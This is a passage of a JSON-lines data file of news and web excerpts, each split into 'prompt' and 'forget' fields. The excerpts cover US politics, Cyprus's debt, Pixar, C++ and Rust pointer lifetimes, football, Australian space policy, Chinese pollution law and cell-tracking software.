of counting votes not on the team. Paul D. Ryan of Wisconsin Ryan, the proverbial GOP thought-leader, carries a great deal of weight in the House. Like McCarthy, he will probably side with leadership. But this vote also will be one of the defining ones heading into the 2016 presidential race, should he make a run. Cathy McMorris Rodgers of Washington The No. 4 Republican still hasn\u2019t said which way she is leaning, but if she sided against Boehner and Cantor, it would be significant. Her staff says she is \u201ccarefully considering\u201d intervention and she is \u201cawaiting final legislative text,\u201d so she is unlikely"}
{"prompt": "A recent USA Today article on the inaugural conference for men\u2019s rights activists asked whether it marked \u201cA kinder, gentler turn to the gender wars.\u201d In short: No, it didn't. Paul Elam of the men's rights group A Voice for Men Paul Elam // YouTube Cross-posted with permission from Political Research Associates. A recent USA Today article on the inaugural conference for men\u2019s rights activists (MRAs) asked whether it marked \u201cA kinder, gentler turn to the gender wars.\u201d In May, Elliot Rodger killed six people after regularly posting misogynistic rants against the \u201coppressive feminist system,\u201d and a video warning, \u201cIf", "forget": "I can\u2019t have you, girls, I will destroy you.\u201d In the intervening time, the First Inaugural Conference for Men\u2019s Issues, hosted by A Voice for Men, faced a successful campaign asking Detroit\u2019s Hilton DoubleTree hotel to cancel the event. The petition, which obtained close to 6,000 signatures, pointed out that MRAs were designated a hate group by the Southern Poverty Law Center in 2012. It continued, \u201cMRAs are linked to the recent mass shooting in UCSB, wherein a young man declared that he would exact revenge on all the women who had rejected him. MRAs are linked to false rape statistics, further perpetuating the dangerous myth that women, \u2018make it up for attention.\u2019 MRAs are linked to threats of rape and murder against women who dare to speak out against them.\u201d Jaclyn Friedman writes in \u201cA Look Inside The Men\u2019s Rights Movement\u201d: \u201cOne of their tactics is to put out a cash bounty for personal information\u2014including home addresses, places of employment, email addresses, and phone numbers\u2014of feminists who upset them. The deluge of hate mail, rape and death threats for those on the receiving end of these witch hunts is hard to describe.\u201d Get the facts, direct to your inbox. Subscribe to our daily or weekly digest. SUBSCRIBE After news outlets connected Rodger to groups in the MRA sphere, Paul Elam, founder of A Voice for Men, asserted that his organization is committed to nonviolence and that Rodger was not a member. However, Katie McDonough writes at Salon that \u201cuntil the moment that he is alleged to have killed six women and men, Elliot Rodger was every bit the same as the other men who are defined by their resentment toward women and their sense of bitter victimization in the world.\u201d While she deems it \u201cirresponsible to lay this violence"}
{"prompt": "Interest Payments Per Year $1,367,580,000 Interest Payments Per Second $43 National Debt Per Citizen $29,961 Debt as % of GDP 115.65% GDP Of Cyprus $21,942,080,611 Cyprus Population 847,008 The National Debt Of Cyprus As part of the EU, Cyprus is monitored by Eurostat, which collects statistical data on member states, including that of national debt. Eurostat measured Cyprus\u2019s national debt at 97.5% of GDP at the end of 2017. The IMF uses a slightly different measurement method for national debt. That organization stated the gross national debt to GDP ratio of Cyprus was 99.3% and the net debt to GDP", "forget": "ratio was 81.2% at the end of 2017. The Cypriot government itself calculated its debt to GDP ratio as 98.4% at the end of 2017. Gross debt sums up all of the money owed by all levels of government in the country. Net debt reduces that figure by deducting from the debt the value of the assets held by the government. The national debt of Cyprus is high. It also has some unusual characteristics \u2014 the country has the highest percentage of debt held by non-residents of all the countries monitored by Eurostat at 82.2%. The extraordinary debt figures of Cyprus are the results of a banking crisis that occured in the country from 2012 to 2013. The country is still recovering from the effort that its government had to go to in order to solve the problems created by banking debt. The Cypriot banking crisis Leading banks all across the globe ran into a liquidity crisis in 2008. Cyprus wasn\u2019t excessively affected by this event. However, the problem of the world\u2019s banking sector eventually hit Cyprus. The core of the 2008 crisis lay in over leveraged property development and banks extending mortgages to those who struggled to make payments. This problem continued to run in Cyprus and the lowered economic activity in the developed world that resulted from the 2008 crisis collapsed the Cypriot property market in 2012. Fewer international buyers of vacation properties resulted in lower sales figures for Cypriot developers, a property overhang, falling property valuations, and bankruptcies. When Cyprus\u2019s banks were left with unpaid loans to bankrupt property developers, they became unable to cover the loans that they had taken out internationally to provide funds locally. Cypriot banks had invested in Greek government debt. When the government of Greece faced a crisis in 2011, the EU"}
{"prompt": "Share Pinterest Email Bill Baker, the legendary PR man who played a key role in Land Rover\u2019s successful return to the U.S. market in 1986, died Thursday after a battle with cancer at his home near Laguna Niguel, Calif. He was 72. Baker, a broadcast newsman from Ohio, caught Ford\u2019s attention in the early 1970s with his road test segments that aired in Cleveland. Ford offered Baker a job on its broadcast media relations team. Two years later, Baker moved to Volvo, and then held management positions at Fiat-Lancia and Ferrari. Baker then worked for Sony Corp. of America. And", "forget": "in 1983, opened his own shop and worked for Chrysler before becoming one of the first American employees of Land Rover of North America in 1986. Land Rover\u2019s U.S. operations in the mid-1980s were small, fewer than 100 people, recalls Charlie Hughes, Land Rover\u2019s North American CEO in the 1980s and 1990s. Baker, Hughes said, was given a small budget to promote a vehicle few Americans had ever heard of -- the Range Rover. Not only was the Range Rover a new vehicle and brand in the U.S., it was creating a new segment -- the luxury SUV. \u201cWe were a very small company and we knew we had to do some exciting things to get noticed. You turn Bill loose and all sorts of wonderful things happened,\u201d Hughes told Automotive News. Car News Jaguar and Land Rover want to make paying for gas easier with in-car app Paying for gas usually isn't a huge hassle (unless you have to stand in line behind someone who's buying dozens of lottery tickets) but Jaguar and Shell have teamed up to allow drivers to make ... Tough odds The Rover name was somewhat tarnished with American buyers. In 1973, British Leyland, then owner of Land Rover, suddenly pulled the brand out of the U.S. market, leaving many of its dealers with nothing to sell. Seven years later, the Rover name was back in the U.S. but on a car, the 1980 Rover 3500. A mere 1,254 units of the large V-8 powered five-door hatchback were sold before the model was pulled from the U.S. market after just one year. It didn\u2019t help that the 1986 Range Rover\u2019s 3.5-liter aluminum V-8 engine used the Rover 3500\u2019s engine and was a GM castoff first used in a 1962 Buick. None of that bogged down"}
{"prompt": "Brenda Chapman was a well-known personality in the industry before she arrived at Pixar, as she was the first woman ever to direct an animated film from a major studio (The Prince of Egypt from DreamWorks Animation). She had also worked in the writing department on Beauty and the Beast, The Lion King, and Chicken Run. Excitement was in the air when she was hired by Pixar, considered by many to be the best in the animation business. She was to be the first female lead director at the studio when she came up with the idea for Brave before", "forget": "she was replaced by Mark Andrews. Now, a report has emerged that she recently left Pixar. Pixar Portal, a relatively new site focused on the Pixar scene (originated in November 2011), is reporting that Chapman exited Pixar at the end of July and is now working as a consultant for Lucasfilm. The fellow Pixar site surely had the ability to contact her, as it ran an exclusive interview with her back in December. There were rumors back when news broke on her removal as the lead on Brave that Chapman would only remain at the animation studio while the film was in development and would leave once the film arrived in theaters. However, that was never confirmed by Pixar, Disney, or Chapman. If the report is true, it is certainly sad, as the story foundation ofthat Chapman created was intriguing and it would have been great to see more ideas from her at Pixar, for feature films as well as short films. In Brave, she set out to create a film that focused on the relationship of a mother and daughter, as well as to write a story starring a princess where no prince was necessary \u2013 in those ways, she succeeded in a big way. The relationship between Princess Merida and her mother Queen Elinor felt intensely real and was by far the greatest aspect of the film. Additionally, Merida worked against the Disney Princess clich\u00e9 when she paid no attention to finding someone to settle down with. As of now, the news is still unconfirmed (we are attempting to confirm it) so it maybe better to avoid reporting it as fact until we know it is 100% true. If it is, though, I wish Chapman the very best at Lucasfilm. She is very talented and I would love"}
{"prompt": "Over the years, I've learned to be cautious with C++ pointers. In particular, I'm always very careful about who owns a given pointer, and who's in charge of calling delete on it. But my caution often forces me to write deliberately inefficient functions. For example: vector < string > tokenize_string ( const string & text ); Here, we have a large string text , and we want to split it into a vector of tokens. This function is nice and safe, but it allocates one string for every token in the input. Now, if we were feeling reckless, we could", "forget": "avoid these allocations by returning a vector of pointers into text : vector < pair < const char * , const char *>> tokenize_string2 ( const string & text ); In this version, each token is represented by two pointers into text : One pointing to the first character, and one pointing just beyond the last character.1 But this can go horribly wrong: // Disaster strikes! auto v = tokenize_string2 ( get_input_string ()); munge ( v ); Why does this fail? The function get_input_string returns a temporary string, and tokenize_string2 builds an array of pointers into that string. Unfortunately, the temporary string only lives until the end of the current expression, and then the underlying memory is released. And so all our pointers in v now point into oblivion\u2014and our program just wound up getting featured in a CERT advisory. So personally, I'm going to prefer the inefficient tokenize_string function almost every time. Rust lifetimes to the rescue! Going back to our original design, let's declare a type Token . Each token is either a Word or an Other , and each token contains pointers into a pre-existing string. In Rust, we can declare this as follows: # [ deriving ( Show , PartialEq )] enum Token < 'a > { Word ( & 'a str ), Other ( & 'a str ) } The type &str represents a slice of a pre-existing String . It's sort of like the pair<const char *,const char *> in C++. But the really interesting part here is the 'a . This is a named lifetime parameter, and it says, \u201cA value of type Token has the same lifetime as the &str that it contains.\u201d Looking at the LLVM intermediate representation, Token looks like a nice, efficient data structure. It appears to be a"}
{"prompt": "This was my first redditgifts exchange and I couldn't be more pleased! I'd heard stories both good and bad about gifting experiences, but nothing was enough to keep me from the allure of adding to my small but growing pint glass collection! I told my future gifter about my burgeoning craft beer geekery, and specifically asked for something local so that I could get an idea of the beer scene in another part of the US. Hence my excitement when, a few days later, a large box was on its way from pretty much the other side of the country", "forget": "- and my gifter told me that he'd specifically tried to adhere to my wishes. Woot! I was expecting the box on Friday, and literally kept peeking out the door of my apartment to see if something was waiting for me in the lobby. Finally at 6pm I had to leave my house for the weekend, so of course the tracking info now tells me it was delivered at 6:20. Ohh, UPS. But never fear! I returned home on Sunday to find an expertly packaged box, which originally looked to be comprised exclusively of packing peanuts, but was actually full of awesome instead! I opened everything too quickly to get unpacking pictures, but attached to the box was a note from my gifter telling me to enjoy some of his favorite local beers. Wait, there's beer in here?! Must. Open. Box. Faster. First out was a sweet pint glass from Stone Brewing - a personal fave that I've yet to visit, but I will be sure to enjoy some Stone out of this new glass! It was promptly added to my pint shelf (see photos) for maximum show-offage. Then - holy crap - a six pack! 2 cans each of three different local IPAs from my gifter's home of NM. Included were (from left in the pic) La Cumbre Elevated IPA, Santa Fe Brewing Happy Camper IPA, and Marble Brewery's Marble IPA. Marble is the only one of these I'd even heard of before, but being on the East Coast means I have three new beers to try! I'm already planning a lovely evening with the SO where we will smoke cigars and enjoy some IPAs. Also now I know that NM has some serious brewing going on! Thank you so much to my amazing gifter (with a very cool"}
{"prompt": "0 It\u2019s finally happening. The long-awaited, oft speculated, seemingly impossible \u2018Evil Dead 4\u2019 is actually happening \u2013 it\u2019s just coming in the form of a TV series. In the picturesque town of Auckland, New Zealand director Sam Raimi, producer Rob Tapert and star Bruce Campbell are rolling cameras on Ash Vs. Evil Dead, the Starz TV series that has allowed the creative trio to further the demonic misadventures of their cult hero, Ash Williams. Hail to the king, baby. Yesterday afternoon, I jumped on the phone for a conference call with Raimi, Tapert and Campbell to chat about diving back", "forget": "in to their beloved franchise and get some details on what fans can expect from this new incarnation of the Evil Dead universe. They shared a ton of great info, but before we get into that, check out this first look image at the guys reuinited with \u2018The Classic\u2019 \u2013 the 1973 Oldsmobile Delta 88 Ash drove in the Evil Dead films (and which has appeared in almost all of Raimi\u2019s films to date). Without further ado, here are the 23 things you should know about Ash Vs. Evil Dead: The series takes place in an alternate universe that exists after Evil Dead 2. In Raimi\u2019s words, \u201c It doesn\u2019t really exist in the exact same universe. It\u2019s a slightly altered universe. It takes place somewhere in an alternate universe after Evil Dead 2.\u201d In Raimi\u2019s words, \u201c So does that mean Army of Darkness is stricken from the timeline? Not exactly. Raimi explained (kind of), \u201c Army of Darkness, does it exist? Well, certainly Ash went through that experience. W e\u2019re not referencing specifics from that, but he certainly has that in his memory.\u201d Raimi explained (kind of), \u201c Ash Vs. Evil Dead will feature new Deadite designs, and entirely new entities altogether. According to Tapert, \u201cWe certainly will play to what we once did with D eadites , even through the remake, but we\u2019re trying to expand the universe\u2026We will encounter Deadites , which are very different from other forces of nature out there, and then we expose the audience to new entities that were not yet presented in the Evil Dead universe. According to Tapert, The action takes place in the modern day. Raimi said, \u201cIt takes place in the here and now with Ash thirty years later; what he\u2019s become and what he\u2019s going to have"}
{"prompt": "A drawing shows a woman having her arm prepared for minor surgery. (Print by Abraham Bosse via National Library of Medicine) What\u2019s the best way to treat prostate cancer? What are the benefits and risks of different rehabilitation options for survivors of stroke? Unfortunately, the answer to these and similar questions often is: Nobody knows. The United States spends $3 trillion annually on health care \u2014 much of it funded by taxpayers through programs such as Medicare \u2014 yet only a limited amount of information exists about what treatments work best for which patients. Although estimates vary, some experts think", "forget": "that less than half of all medical care is based on clear scientific evidence. The good news is that the federal government is now making a significant investment in health services and patient-centered outcomes research to identify waste and improve the safety, effectiveness and quality of care. The bad news is that House Republicans are trying to abolish one of the main agencies carrying out this research, the Agency for Healthcare Research and Quality (AHRQ), and cut the funding of another, the Patient-Centered Outcomes Research Institute (PCORI). The puzzle is why. One possible reason is that Republicans oppose taxpayer funding of all scientific research as a matter of principle. Yet the same House Appropriations Committee draft bill that targets health services research also provides a $1.1 billion increase in the budget of the National Institutes of Health. A second possible reason is that Republicans are uninterested in evidence-based policymaking. But both Democrats and Republicans argue that better information is needed to make government more effective. For example, Rep. Paul Ryan (R-Wis.) and Sen. Patty Murray (D-Wash.) recently introduced the Evidence-Based Policymaking Commission Act of 2015 to evaluate the effectiveness of federal programs. What makes the situation even more perplexing is that evidence-based medicine has a solid Republican pedigree. Perhaps the most important advocate of an increased federal role in paying for research on the clinical effectiveness of treatments has been Gail R. Wilensky, a Republican economist who served as George H.W. Bush\u2019s Medicare director. In 2008, former House speaker Newt Gingrich (R-Ga.) published an op-ed with Billy Beane, the \u201cMoneyball\u201c general manager of the Oakland A\u2019s, and Sen. John F. Kerry (D-Mass.) in which they lamented that \u201ca doctor today can get more data on the starting third baseman on his fantasy baseball team than on the effectiveness of life-and-death"}
{"prompt": "Sevilla FC 4-0 GNK Dinamo Sevilla dominated against the Croatian champions Dinamo, with the confidence that comes from having won every home game this season. They found it tough at first, but slowly the chances came. Steven N\u2019Zonzi\u2019s glanced header was pushed on to the crossbar and soon after birthday-boy Vitolo had a goal-bound header hacked over the bar. Sevilla coach Jorge Sampaoli was his usual animated presence on the touchline until Franco Vazquez found Luciano Vietto in the area. The Argentine worked an opening and from a narrow angle fired home in the 31st minute. It was his first", "forget": "goal in the Champions League this season and made him the club\u2019s top scorer with five in all competitions. When Dinamo\u2019s Petar Stojanovic picked up a second yellow card just before halftime it left Sevilla utterly dominant. Sergio Escudero doubled the lead in the 66th minute, driving into area off the left flank, playing a one-two with Vitolo and burying a shot inside the far post. N\u2019Zonzi grabbed a third with a header from a corner and at the end substitute Wissam Ben Yedder rounded off the scoring at the back. The victory left Sevilla top of Group H with 10 points, two ahead of second-placed Juventus. Legia Warsaw 3-3 Real Madrid Real Madrid had the lion\u2019s share of the chances but were unable to capitalise on their dominance as they were held to a hard-fought 3-3 draw by Legia Warsaw. Madrid took the lead after just 57 seconds when Gareth Bale spectacularly volleyed in from outside the area, the club\u2019s fastest-ever goal in the Champions League. Zidane\u2019s side dominated play from that moment on and extended their lead in the 35th minute when Karim Benzema slotted home Bale\u2019s pass from inside the box. Legia fought back, however, and halved the deficit before half-time thanks to Vadis Odjidja\u2019s nicely-taken solo effort. The second half was a very open affair with chances at both ends but it was Legia who struck first, Miroslav Radovic shooting low into the bottom corner to equalise just before the hour mark. Real Madrid continued to apply the pressure but the hosts took a dramatic late lead in the 83rd minute through Thibault Moulin\u2019s neat finish from the edge of the box. The stage was set for a famous win but Mateo Kovacic drew Real Madrid level just two minutes later, ensuring that the visitors took"}
{"prompt": "(Twitter/Dan Scavino Jr.) The former security guard from rural Illinois walked into a tent behind the Lincoln Memorial and gave a bear hug to the man who would soon become the most powerful leader in the world. \u201cHey, Donald Trump,\u201d said Shane Bouvet, with all the casualness of a 24-year-old. The president-elect beamed back: \u201cThis is the greatest guy.\u201d The unlikely meeting occurred after Trump said he read a profile of Bouvet in The Washington Post and was impressed by his story. Bouvet, a struggling single father, had spent nights working and days volunteering on Trump\u2019s unlikely presidential campaign. The", "forget": "volunteer efforts earned Bouvet an invite to an inaugural ball. But just weeks ago he was unsure he could pay for a proper suit and shoes to wear for the festivities. A friend stepped in and bought a suit and got the shoes donated. Now, improbably, it was the night before the swearing-in and Bouvet had picked his way past the Secret Service and was hanging out with the president-elect, top Trump advisers Reince Priebus and Stephen K. Bannon and the first-lady-to-be Melania Trump. The meeting occurred in a holding room just minutes before Trump was to take the stage for pre-inauguration concert at the Lincoln Memorial. Tears welled in Bouvet\u2019s eyes. Trump signed an autograph for Bouvet. Then, they decided to call Bouvet\u2019s father in Stonington, Ill. [In donated suit and shoes, a Trump supporter comes to Washington] \u201cHey, Dad,\u201d Bouvet said with the call on speakerphone. \u201cI\u2019m with Donald Trump.\u201d \u201cHey, Don, you have a great name,\u201d Trump laughed, complimenting Bouvet\u2019s father on the name they shared. \u201cYou have a good boy.\u201d Donald Trump and Shane Bouvet from Illinois, in Washington on Thursday. (Justin Jouvenal/The Washington Post) After the call, Trump signed an autograph for Bouvet\u2019s 4-year-old son. Trump asked Bouvet if he was still with the mother of his child. Bouvet said no, and the thrice-married Trump said, \u201cThat happens.\u201d Then he looked at the autographs he had scribbled, and made a prediction: \u201cAfter that, she\u2019ll have you back. You\u2019ll be a great celebrity.\u201d Eventually, Trump and his staff posed for photographs with Bouvet and offered him a round of applause. At the end, Trump put his hand on Bouvet\u2019s back and told an aide, \u201cSend him a check for $10,000.\u201d Bouvet broke down and cried. With that and a round of goodbyes, an aide ushered Bouvet"}
{"prompt": "In 1969 Senator Ted Kennedy recognized via the success of Medicare that the only rational solution to our challenges with health care was to offer it as an option for everyone. Indeed, he spent most of his career fighting for Single Payer, which is why I was quite confused when Democrats hailed the passing of Obamacare as the fulfillment of the Senator\u2019s legacy. Obamacare is not single payer. It is not even universal health care. Obamacare is largely an insurance mandate that preserves the status quo and enriches the pockets of insurers and drug companies. More and more people are", "forget": "finding that they can not afford insurance even with the subsidies Obamacare provides and in many cases the plans\u2019 deductibles are so high that the insurance is rendered useless. I bet that if Senator Kennedy were alive today he would be disappointed in Democrats for reaching for so little when they had a presidential mandate and control of both houses of Congress. Now, buoyed by extreme popularity during the 2016 election cycle and the failure by the GOP to provide an alternative, Senator Bernie Sanders has introduced his Medicare for All bill with a bevy of noteworthy co-sponsors. Nearly all of the Democratic 2020 hopefuls have signed on to co-sponsor the bill and there is a similar bill making its way through the House. And, all of this is great but the fact still remains that Democrats are in the minority in Congress and do not control the White House. Trump has pledged to veto the bill if it were to pass, a myopic pledge considering his recent willingness to do deals with Congressional Democrats. So, he is willing to alienate his base over DACA, the debt ceiling and the budget, but not to fulfill an actual campaign promise of universal health care? If the Trump administration were to do a little research they would discover that Single Payer is not only wildly popular on our side, but also becoming more popular everyday on his side. I remind you that Vox found in a health care focus group of Trump voters that half of the participants preferred Single Payer- a system like Canada\u2019s as they put it. Various members of the Alt-Right have called for Single Payer, advisors who are supposedly close to Trump have called for Single Payer and most importantly Single Payer would be of huge benefit to"}
{"prompt": "Get the biggest Aston Villa FC stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email Coach Shay Given has tipped Jack Grealish for a bright future \u2013 but warned Villa and Ireland not to demand too much too soon from the teenage rookie. Grealish made his senior debut in the claret and blues\u2019 penultimate match of last season and hopes to be a regular member in the first-team squad next term. Given believes Grealish has the potential to star for club and country,", "forget": "providing there are realistic expectations of what he is initially capable of. The 18-year-old winger helped keep Notts County in League One during an encouraging season-long loan before making his Villa bow with a two-minute cameo in the 4-0 defeat at Manchester City last month. Ireland manager Martin O\u2019Neill has already watched Grealish in action with a view to possibly promoting the under-21 star to the senior squad for his first full cap. And Roy Keane\u2019s imminent arrival as Villa\u2019s assistant manager will give Grealish an opportunity to regularly impress the international coach at Bodymoor Heath each day. Given, whose future at Villa remains uncertain, reckons Grealish is ready for more action with Villa next season, but is concerned the start of Ireland\u2019s Euro 2016 qualifying campaign in September could come too soon for him. \u201cMartin O\u2019Neill and Roy Keane have been going to the games, but they haven\u2019t found too many new players,\u201d said Given. \u201cThey have a real talent in Jack Grealish. He was in our last couple of squads for the end of the season at Villa and he never looked out of place. \u201cBut he is still very young and you wouldn\u2019t want to be pinning your hopes for the European Championships on a teenager. He has a big future and hopefully he will get more games at Villa next season. \u201cHe is one for the future, but September is too soon for him.\u201d Given, who was promoted to a coaching role in Paul Lambert\u2019s backroom team towards the end of last season, is keeping his options open about his future at the club. With Keane expected to be confirmed as Lambert\u2019s assistant manager this week, Given, who has two years left on his contract, could be free to concentrate on reviving his playing career, at"}
{"prompt": "Australia has had an active civil space program since 1947 but has much to learn if it is to capture a bigger share of growing billion dollar global space industry. The potential size and scope of the Australian space sector compares well against several other space nations, notably the United Kingdom and Canada. But both those nations have more effective space sectors that are centrally administered by a single government body, whereas Australia space activities are not strategically managed by a central entity. In particular the UK has recently adopted an agency approach to managing civil space activities, after decades", "forget": "of committee administration. There are lessons for Australia in the approach that the UK took in creating its agency. Australia\u2019s space exploits Australian civil space activities are currently overseen by the Department of Industry\u2019s Space Coordination Office (SCO), which last year replaced the Space Policy Unit. The SCO is tasked with coordinating all of Australia\u2019s national and international civil space activities. Working in conjunction with the SCO is the Space Licensing and Safety Office (SLASO) which implements regulatory and safety regimes for space activities within Australia or involving Australian contributions in international programs. The SCO drafted the Satellite Utilisation Policy, Australia\u2019s most recent space-focused government policy. Its original intent was to develop a policy that will: [\u2026] articulate a comprehensive national space strategy and facilitate better coordination of space activities across Government. But the realised policy falls short of being a space policy, as it considers only the use of space-derived data in the Australian context. It does however highlight Australia\u2019s dependency on internationally provided space data (for weather forecasting, land management and position and navigation services). It also hints at Australia\u2019s vulnerability in securing the continuation of these services, as most are provided free through time-limited international agreements. These government bodies exist to facilitate the activities in space of outside parties. They do not initiate or manage space programs in their own right, and have no capacity to sponsor such programs. Our failings in space Australia\u2019s approach to space activities is passive and regulatory. It does nothing to create or grow them to take advantage of new opportunities. In fact, this passive strategy may even put off Australian efforts to keep up with international competition. There are two basic areas of the space sector where Australia is failing: strategic oversight and development of nationally important space services strategic investment"}
{"prompt": "China's top judicial authorities on Tuesday issued a new judicial interpretation for laws on criminal cases related to environmental pollution in an effort to address pollution problems with harsher punishment on polluters. The interpretation, which was jointly released by China's Supreme People's Court (SPC) and Supreme People's Procuratorate, effective Wednesday, offers detailed standards for the conviction and sentencing of criminals involved in environmental cases. SPC spokesman Sun Jungong said at a press conference in Beijing Tuesday that the latest interpretation, with lower benchmarks for convictions, would help with the work of judges as it is more precise and practical, compared", "forget": "with the previous one released in 2006. The interpretation lowers some benchmarks for conviction, which, Sun said, means more polluters will be targeted. The document lists that a person can be convicted if he or she is responsible for pollution that seriously injures a person, while the previous benchmark stated that the pollution had to have resulted in death. Pollution activities which force the evacuation of over 5,000 people or poison more than 30 people will be defined as crimes, according to the new interpretation. The latest interpretation has added new activities as criteria for the crime of impairing the protection of the environment and resources. For instance, discharging, dumping or treating radioactive waste or waste containing infectious disease pathogens or toxic substances into sources of drinking water and nature reserves will be considered as such a crime. Sun explained that the new criteria would convict the offenders not only for the damage they do but also for the practice of polluting. According to China's Criminal Law, those convicted of such crimes will face a maximum prison term of seven years plus fines. \"This is a sign of progress of the Chinese judiciary in fighting against environmental pollution, as it can help to prevent pollution from the beginning by giving potential polluters a warning,\" Wang Jin, an environmental law professor with Peking University, told the Global Times on Tuesday. The document lists that those who discharged hazardous substances repeatedly after having received administrative punishments more than twice within two years could be considered as breaching criminal laws. Wang said such criteria could be regarded as a supplement to the current administrative punishment, which mainly includes fines and warnings by local environmental authorities. China's law did not have a clear stipulation of what activities could result in such criminal charges, said"}
{"prompt": "Though Daum didn\u2019t have a booth at this year\u2019s E3, I managed to snag some time with Black Desert PR/Marketing Manager Rick van Beem. Given some of the recent rumblings about delayed content and PvP changes, I thought it was a good opportunity to learn about how the publisher feels about current game events. Serving two kinds of customers I don\u2019t personally play BDO regularly, not because I think it\u2019s a bad game \u2014 in fact, I usually gravitate toward PvP-oriented sandboxes \u2014 but because the original PvP game pitched made decisions that made it less appealing to me. I", "forget": "don\u2019t fault the game with that, and I still think it has some interesting sounding features, but balancing the different tastes isn\u2019t easy. The recent karma changes in PvP perfectly highlight that difficulty. BDO\u2018s death penalty never seemed very harsh to me, but that\u2019s because I\u2019m used to much worse; my first PvP experiences in an MMO resulted in lost items, stats, and having to find my way back to my friends and hunting spot. I assumed that in light of the big new PvP content, the developers wanted to curb player actions from random killing to something a bit more structured, but apparently the two are unrelated. Van Beem\u2019s admittedly \u201cmore of a solo player doing quests and crafting\u201d than a PvPer, but he\u2019s still enjoying the game for what it is. He also mentioned that solo PvE play is also what a lot of his customers live and die for and that while being killed while AFK is part of the nature of the game, so is being AFK in the first place. In fact, Van Beem tossed out the idea that maybe the game should protect AFKers, especially as the game already has systems that promote AFK play, such as auto-running to your quest location and auto fishing. I\u2019ll let you readers hash that out in the comments, but for the love of sand, try to keep it clean. Lessons learned I spoke a bit with Van Beem about what the studio has learned with its first launch in the west. First, for those who aren\u2019t aware: Daum actually works more with Pearl Abyss than with its Korean counterpart in terms of localization, though the two still share different strategies and ideas. Daum EU can give suggestions, and Pearl Abyss is listening, but at the end of"}
{"prompt": "But the woman was found not guilty of another charge of making false accusations. Several other charges were dropped by the prosecution during the July trial, and the woman pleaded guilty to possessing a prohibited weapon; capsicum spray. The man, then a guard at Alexander Maconochie\u200b Centre, spent about four months locked up in Goulburn jail after the woman alleged he had bashed and sexually assaulted her twice. But police became suspicious when she then made allegations about his family members, including that they had attacked and burgled her. In one incident, she triggered a duress alarm and claimed to", "forget": "have been run off the road and attacked with a knife. She showed police a superficial cut on her hand as evidence of the violent confrontation. Police went to the scene and discovered a steak knife that matched a set the defendant had at her home. She was put under covert surveillance, and police found evidence to suggest she had been lying about her ex-boyfriend's family. In another incident, she claimed the family had burgled her home and stolen her iPad. The tablet computer was found on the verge in front of the family home the next day, but a check of a GPS tracker on the woman's car showed she had visited the property the previous evening. CCTV footage mounted near her home showed the family had not been to her property. Officers then re-investigated other allegations she had made in the past, finding the woman had accused a friend's father of sexually assaulting her in 2008. She was under the age of 18 at the time of the alleged false accusation, and the court suppressed her name as a result. During the trial, the prosecution argued the motive for the deception had been greed, as the pair had been locked in a family court dispute over property at the time of the allegations. In making her findings, Ms Walker agreed that greed could have driven the behaviour, but also said revenge, after being dumped by the man, and attention seeking behaviour could also be a factor. Upon the findings of guilt, prosecutor Anthony Williamson applied to have the woman's bail revoked. Mr Williamson argued the woman was a flight risk as she now faced a stint behind bars. But defence lawyer, Michael Kukulies-Smith, said his client had no history of breaching bail and the risk could be managed"}
{"prompt": "\u201cThere is no right answer. Cream or jam is fine.\u201d So says 34-year-old Tingting He, in answer to the question of which to spread on the scone first in a British cream tea. It\u2019s a relief to learn that I haven\u2019t been doing the wrong thing all my life. We\u2019re in the Essex tea room of an upmarket British jam maker and on the table before us is a plate of fluffy scones, a bowl of clotted cream and miniature jars of strawberry jam. Tingting may be Shanghainese but she\u2019s giving me a lesson in the British tradition of afternoon", "forget": "tea. As brand ambassador for Tiptree Farm she delivers the same lecture in China\u2019s top hotels. Her home country may claim to be a communist state, but it has a healthy appetite for the branding and rituals of the British ruling class. Tingting brings Chinese buyers for a tour of the Tiptree fruit farm. Tingting He and Carrie Gracie \u201cIt\u2019s refreshing for them. They\u2019re paying for the countryside with the birds singing. There are lots of rumours about Chinese food sources, so the quality gives them peace of mind. And also they know the Royal Family has issued us with a royal warrant. That gives them another level of security.\u201d It\u2019s easy to see why Chinese visitors might enjoy the tour. Tiptree exported its first jar of jam in the late 19th Century and still has some of the rambling walled gardens and ancient orchards of that era. Inside the jam factory, the scent of simmering strawberries gives way to a hot wave of orange marmalade. And then the heady spices of the Christmas pudding room. Tingting says she loves the tradition of setting light to the brandy. She thinks she can sell Christmas puddings in China. People like something festive, a good gift over Christmas or Chinese Spring Festival. It\u2019s special, unique. They\u2019re very curious and open-minded.\u201d British food is not fabled in China. But on a state visit to the UK in 2015 the Chinese president was filmed eating fish and chips. And walking between pallets piled high with jams and chutneys, Tingting is excited about China\u2019s new breed of gastronomic adventurers. \u201cThe more they read and travel and encompass different food cultures, the more they try new things. Blueberry jam is something they are willing to try. Cheese and redcurrant jelly. At the start they found it"}
{"prompt": "Andrew Cohen, PhD (right) and Eric Wait (left), are giving microbiologists an interactive look at the cells they're studying. For hundreds of years biologists have studied cells through the lens of a microscope. With a little help from a team of engineers at Drexel University, these scientists could soon be donning 3-D glasses in a home-theater-like lab to take their own fantastic voyage into the petri dish. Dr. Andrew Cohen, an associate professor of electrical and computer engineering in the College of Engineering, is leading a group of researchers who are developing software and hardware that will enable biologists to", "forget": "better track and study the movement and multiplication of cells. Their goal is to enhance the current visual data that these scientists are working with so that it\u2019s easier to identify changes in cells over time \u2013information that is key to studying the abnormal cell proliferation that causes cancer and also to using stem cells in regenerative medicine. \u201cThis type of imaging is so important because it allows us to see and measure relationships between cells and their environment,\u201d Cohen said. Cohen, whose background includes developing operating systems support for computer games, has developed a program called LEVER \u2013short for Lineage Editing and Validation program- that can identify, tag and track live cells, capturing patterns of motion and cell division, using sequences of microscopic time-lapse images. His work was recently published in the journal BMC Bioinformatics. Typically the process of tracking cell lineage over time requires biologists to watch the time-lapse images and note by hand when the cells multiply \u2013creating a graphic representation of cell division over time called a \u201clineage tree.\u201d It can take a researcher several tedious hours to create a tree. The LEVER software lets the researcher work with the computer to delineate cells, color code them and denote the exact moment of their division. LEVER is easier and more accurate than processing the data manually and also provides more data than what can be obtained by hand. \u201cIt\u2019s like Photoshop for cell biologists,\u201d Cohen said. \u201cThe software outlines cells and blood vessels, keeping track of them as they\u2019re dividing and moving around one another. This provides a wealth of information on the patterns of cell shape, motion and division. Visualization of the 3-D microscopy data together with the analysis results is a key step to measure and ultimately understand what drives these cells.\u201d With an"}
